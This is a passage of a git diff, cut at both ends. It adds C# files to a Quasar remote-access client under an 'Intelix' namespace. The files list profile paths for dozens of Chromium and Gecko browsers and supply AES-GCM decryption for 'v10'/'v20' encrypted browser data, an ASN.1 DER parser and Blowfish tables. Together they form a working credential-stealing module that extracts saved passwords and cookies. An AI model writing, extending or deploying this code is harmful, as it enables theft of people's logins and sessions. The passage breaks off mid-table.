+ localappdata + "\\360Chrome\\Chrome\\User Data", + localappdata + "\\Tencent\\QQBrowser\\User Data", + localappdata + "\\Naver\\Naver Whale\\User Data", + localappdata + "\\Baidu\\BaiduBrowser\\User Data", + localappdata + "\\360Browser\\Browser\\User Data", + localappdata + "\\Google(x86)\\Chrome\\User Data", + localappdata + "\\Epic Privacy Browser\\User Data", + localappdata + "\\CatalinaGroup\\Citrio\\User Data", + localappdata + "\\Yandex\\YandexBrowser\\User Data", + localappdata + "\\MapleStudio\\ChromePlus\\User Data", + localappdata + "\\AVAST Software\\Browser\\User Data", + localappdata + "\\BraveSoftware\\Brave-Browser\\User Data", + localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience", + localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data", + localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer" + }; + + public static string[] Gecko = new string[18] + { + appdata + "\\Mozilla\\Firefox\\Profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\K-Meleon\\Profiles", + appdata + "\\Thunderbird\\Profiles", + appdata + "\\Comodo\\IceDragon\\Profiles", + appdata + "\\8pecxstudios\\Cyberfox\\Profiles", + appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles", + appdata + "\\Moonchild Productions\\Pale Moon\\Profiles", + appdata + "\\Ghostery Browser\\Profiles", + appdata + "\\Undetectable\\Profiles", + appdata + "\\Sielo\\profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles", + appdata + "\\Netscape\\Navigator\\Profiles", + appdata + "\\Mozilla\\SeaMonkey\\Profiles", + appdata + "\\FlashPeak\\SlimBrowser\\Profiles", + appdata + "\\Avant Profiles", + appdata + "\\Flock\\Profiles" + }; + + public static string GetBrowserName(string path) + { + string[] array = path.Split(Path.DirectorySeparatorChar); + if (path.Contains("Opera")) + { + return array[6].Replace(" Stable", ""); + } + return array[5]; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs new file mode 100755 index 0000000..c68531f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs @@ -0,0 +1,99 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class AesGcm +{ + private const int MacBitSize = 128; + + private const int NonceBitSize = 96; + + private const int TagBytes = 16; + + private const int NonceBytes = 12; + + private const int HeaderBytes = 3; + + public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix) + { + if (encryptedData.Length < 31) + { + return null; + } + string text = Encoding.ASCII.GetString(encryptedData, 0, 3); + byte[] array = new byte[12]; + Buffer.BlockCopy(encryptedData, 3, array, 0, 12); + int num = 15; + int num2 = encryptedData.Length - num - 16; + if (num2 < 0) + { + return null; + } + byte[] array2 = new byte[num2]; + if (num2 > 0) + { + Buffer.BlockCopy(encryptedData, num, array2, 0, num2); + } + byte[] array3 = new byte[16]; + Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16); + byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null)); + if (array4 == null) + { + return null; + } + byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3); + if (array5 == null) + { + return null; + } + if (checkprefix && HasPrefix(array5)) + { + if (array5.Length <= 32) + { + return array5; + } + int num3 = 0; + for (int i = 0; i < 32; i++) + { + byte b = array5[i]; + if (b >= 32 && b <= 126) + { + num3++; + } + if (num3 > 2) + { + break; + } + } + if (num3 > 2) + { + if (array5.Length <= 32) + { + return new byte[0]; + } + byte[] array6 = new byte[array5.Length - 32]; + Array.Copy(array5, 32, array6, 0, array6.Length); + return array6; + } + } + return array5; + } + + private static bool HasPrefix(byte[] plainText) + { + if (plainText.Length < 32) + { + return false; + } + int num = 0; + for (int i = 0; i < 32; i++) + { + if (plainText[i] >= 32 && plainText[i] <= 126) + { + num++; + } + } + return num > 2; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs new file mode 100755 index 0000000..916a80a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs @@ -0,0 +1,383 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class AesGcm256 +{ + private static readonly byte[] SBox = new byte[256] + { + 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, + 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, + 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, + 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, + 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, + 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, + 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, + 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, + 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, + 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, + 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, + 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, + 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, + 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, + 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, + 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, + 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, + 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, + 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, + 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, + 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, + 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, + 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, + 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, + 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, + 45, 15, 176, 84, 187, 22 + }; + + private static readonly byte[] Rcon = new byte[256] + { + 0, 1, 2, 4, 8, 16, 32, 64, 128, 27, + 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, + 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, + 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, + 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, + 203, 141, 1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0 + }; + + private byte[] Key; + + private byte[,] RoundKeys; + + public AesGcm256(byte[] key) + { + if (key.Length != 32) + { + throw new ArgumentException("Key length must be 256 bits."); + } + Key = new byte[32]; + Array.Copy(key, Key, 32); + KeyExpansion(); + } + + public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad); + } + + private void KeyExpansion() + { + int num = 8; + int num2 = 4; + int num3 = 14; + RoundKeys = new byte[num2 * (num3 + 1), 4]; + for (int i = 0; i < num; i++) + { + RoundKeys[i, 0] = Key[4 * i]; + RoundKeys[i, 1] = Key[4 * i + 1]; + RoundKeys[i, 2] = Key[4 * i + 2]; + RoundKeys[i, 3] = Key[4 * i + 3]; + } + byte[] array = new byte[4]; + for (int j = num; j < num2 * (num3 + 1); j++) + { + array[0] = RoundKeys[j - 1, 0]; + array[1] = RoundKeys[j - 1, 1]; + array[2] = RoundKeys[j - 1, 2]; + array[3] = RoundKeys[j - 1, 3]; + if (j % num == 0) + { + byte b = array[0]; + array[0] = array[1]; + array[1] = array[2]; + array[2] = array[3]; + array[3] = b; + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + array[0] ^= Rcon[j / num]; + } + else if (num > 6 && j % num == 4) + { + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + } + RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]); + RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]); + RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]); + RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]); + } + } + + private void AddRoundKey(byte[,] state, int round) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[j, i] ^= RoundKeys[round * 4 + i, j]; + } + } + } + + private void SubBytes(byte[,] state) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[i, j] = SBox[state[i, j]]; + } + } + } + + private void ShiftRows(byte[,] state) + { + byte b = state[1, 0]; + state[1, 0] = state[1, 1]; + state[1, 1] = state[1, 2]; + state[1, 2] = state[1, 3]; + state[1, 3] = b; + b = state[2, 0]; + state[2, 0] = state[2, 2]; + state[2, 2] = b; + b = state[2, 1]; + state[2, 1] = state[2, 3]; + state[2, 3] = b; + b = state[3, 3]; + state[3, 3] = state[3, 2]; + state[3, 2] = state[3, 1]; + state[3, 1] = state[3, 0]; + state[3, 0] = b; + } + + private void MixColumns(byte[,] state) + { + byte[] array = new byte[4]; + for (int i = 0; i < 4; i++) + { + array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]); + array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]); + array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i])); + array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i])); + state[0, i] = array[0]; + state[1, i] = array[1]; + state[2, i] = array[2]; + state[3, i] = array[3]; + } + } + + private byte GFMultiply(byte a, byte b) + { + byte b2 = 0; + for (int i = 0; i < 8; i++) + { + if ((b & 1) != 0) + { + b2 ^= a; + } + bool num = (a & 0x80) != 0; + a <<= 1; + if (num) + { + a ^= 0x1B; + } + b >>= 1; + } + return b2; + } + + private void EncryptBlock(byte[] input, byte[] output) + { + int num = 4; + int num2 = 14; + byte[,] array = new byte[4, num]; + for (int i = 0; i < 16; i++) + { + array[i % 4, i / 4] = input[i]; + } + AddRoundKey(array, 0); + for (int j = 1; j <= num2 - 1; j++) + { + SubBytes(array); + ShiftRows(array); + MixColumns(array); + AddRoundKey(array, j); + } + SubBytes(array); + ShiftRows(array); + AddRoundKey(array, num2); + for (int k = 0; k < 16; k++) + { + output[k] = array[k % 4, k / 4]; + } + } + + private byte[] GF128Multiply(byte[] X, byte[] Y) + { + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + Array.Copy(Y, array2, 16); + for (int i = 0; i < 128; i++) + { + if (((X[i / 8] >> 7 - i % 8) & 1) == 1) + { + for (int j = 0; j < 16; j++) + { + array[j] ^= array2[j]; + } + } + bool flag = (array2[15] & 1) == 1; + for (int num = 15; num >= 0; num--) + { + array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7)); + } + if (flag) + { + array2[0] ^= 225; + } + } + return array; + } + + private byte[] GHASH(byte[] H, byte[] A, byte[] C) + { + _ = (A.Length + 15) / 16; + _ = (C.Length + 15) / 16; + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + byte[] array3 = new byte[16]; + int num; + for (int i = 0; i < A.Length; i += num) + { + Array.Clear(array3, 0, 16); + num = Math.Min(16, A.Length - i); + Array.Copy(A, i, array3, 0, num); + for (int j = 0; j < 16; j++) + { + array2[j] = (byte)(array[j] ^ array3[j]); + } + array = GF128Multiply(array2, H); + } + int num2; + for (int i = 0; i < C.Length; i += num2) + { + Array.Clear(array3, 0, 16); + num2 = Math.Min(16, C.Length - i); + Array.Copy(C, i, array3, 0, num2); + for (int k = 0; k < 16; k++) + { + array2[k] = (byte)(array[k] ^ array3[k]); + } + array = GF128Multiply(array2, H); + } + byte[] array4 = new byte[16]; + ulong num3 = (ulong)A.Length * 8uL; + ulong num4 = (ulong)C.Length * 8uL; + for (int l = 0; l < 8; l++) + { + array4[7 - l] = (byte)(num3 >> l * 8); + array4[15 - l] = (byte)(num4 >> l * 8); + } + for (int m = 0; m < 16; m++) + { + array2[m] = (byte)(array[m] ^ array4[m]); + } + return GF128Multiply(array2, H); + } + + private void IncrementCounter(byte[] counterBlock) + { + int num = 15; + while (num >= 12 && ++counterBlock[num] == 0) + { + num--; + } + } + + public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad) + { + if (aad == null) + { + aad = new byte[0]; + } + byte[] array = new byte[16]; + EncryptBlock(new byte[16], array); + byte[] array2 = new byte[16]; + if (iv.Length == 12) + { + Array.Copy(iv, 0, array2, 0, 12); + array2[15] = 1; + } + else + { + array2 = GHASH(array, null, iv); + } + byte[] array3 = new byte[ciphertext.Length]; + byte[] array4 = new byte[16]; + Array.Copy(array2, array4, 16); + int num = ciphertext.Length / 16; + int num2 = ciphertext.Length % 16; + int num3 = ((num2 == 0) ? num : (num + 1)); + for (int i = 0; i < num3; i++) + { + IncrementCounter(array4); + byte[] array5 = new byte[16]; + EncryptBlock(array4, array5); + int num4 = ((i < num) ? 16 : num2); + for (int j = 0; j < num4; j++) + { + array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]); + } + } + byte[] array6 = GHASH(array, aad, ciphertext); + byte[] array7 = new byte[16]; + EncryptBlock(array2, array7); + byte[] array8 = new byte[16]; + for (int k = 0; k < 16; k++) + { + array8[k] = (byte)(array7[k] ^ array6[k]); + } + if (!VerifyTag(tag, array8)) + { + throw new Exception("Authentication tag does not match. Decryption failed."); + } + return array3; + } + + private bool VerifyTag(byte[] tag1, byte[] tag2) + { + if (tag1.Length != tag2.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < tag1.Length; i++) + { + num |= tag1[i] ^ tag2[i]; + } + return num == 0; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs new file mode 100755 index 0000000..1ad9588 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs @@ -0,0 +1,95 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Asn1Der +{ + public enum Type + { + Sequence = 48, + Integer = 2, + OctetString = 4, + ObjectIdentifier = 6 + } + + public Asn1DerObject Parse(byte[] toParse) + { + Asn1DerObject asn1DerObject = new Asn1DerObject(); + for (int i = 0; i < toParse.Length; i++) + { + switch ((Type)toParse[i]) + { + case Type.Sequence: + { + byte[] array; + if (asn1DerObject.Lenght == 0) + { + asn1DerObject.Type = Type.Sequence; + asn1DerObject.Lenght = toParse.Length - (i + 2); + array = new byte[asn1DerObject.Lenght]; + } + else + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Sequence, + Lenght = toParse[i + 1] + }); + array = new byte[toParse[i + 1]]; + } + int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length); + Array.Copy(toParse, i + 2, array, 0, length); + asn1DerObject.Objects.Add(Parse(array)); + i = i + 1 + toParse[i + 1]; + break; + } + case Type.Integer: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Integer, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array3.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght; + break; + } + case Type.OctetString: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.OctetString, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array4.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght; + break; + } + case Type.ObjectIdentifier: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.ObjectIdentifier, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array2.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght; + break; + } + } + } + return asn1DerObject; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs new file mode 100755 index 0000000..cdcbeec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs @@ -0,0 +1,71 @@ +using System.Collections.Generic; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Asn1DerObject +{ + public Asn1Der.Type Type { get; set; } + + public int Lenght { get; set; } + + public List Objects { get; } + + public byte[] Data { get; set; } + + public Asn1DerObject() + { + Objects = new List(); + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + StringBuilder stringBuilder2 = new StringBuilder(); + switch (Type) + { + case Asn1Der.Type.Sequence: + stringBuilder.AppendLine("SEQUENCE {"); + break; + case Asn1Der.Type.Integer: + { + byte[] data = Data; + foreach (byte b3 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b3); + } + stringBuilder.AppendLine("\tINTEGER " + stringBuilder2); + break; + } + case Asn1Der.Type.OctetString: + { + byte[] data = Data; + foreach (byte b2 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b2); + } + stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2); + break; + } + case Asn1Der.Type.ObjectIdentifier: + { + byte[] data = Data; + foreach (byte b in data) + { + stringBuilder2.AppendFormat("{0:X2}", b); + } + stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2); + break; + } + } + foreach (Asn1DerObject @object in Objects) + { + stringBuilder.Append(@object); + } + if (Type.Equals(Asn1Der.Type.Sequence)) + { + stringBuilder.AppendLine("}"); + } + return stringBuilder.ToString(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs new file mode 100755 index 0000000..0229343 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs @@ -0,0 +1,311 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Blowfish +{ + public enum Endian + { + Little, + Big + } + + public readonly int MinUserKeyLength = 1; + + public readonly int MaxUserKeyLength = 56; + + public readonly int BlockSize = 8; + + private readonly uint[] OriginPBox = new uint[18] + { + 608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u, + 3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u + }; + + private readonly uint[,] OriginSBox = new uint[4, 256] + { + { + 3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u, + 134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u, + 2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u, + 1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u, + 1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u, + 3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u, + 1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u, + 258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u, + 1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u, + 1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u, + 1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u, + 634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u, + 1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u, + 1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u, + 1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u, + 1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u, + 1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u, + 3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u, + 2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u, + 2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u, + 3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u, + 2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u, + 2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u, + 545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u, + 3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u, + 4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u + }, + { + 1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u, + 1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u, + 2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u, + 1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u, + 2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u, + 2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u, + 3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u, + 1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u, + 2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u, + 3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u, + 70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u, + 2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u, + 3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u, + 3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u, + 4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u, + 53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u, + 1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u, + 2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u, + 1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u, + 4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u, + 3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u, + 4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u, + 1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u, + 1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u, + 2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u, + 1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u + }, + { + 3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u, + 1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u, + 3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u, + 170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u, + 2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u, + 648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u, + 1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u, + 1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u, + 133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u, + 3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u, + 2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u, + 3281911079u, 4080962846u, 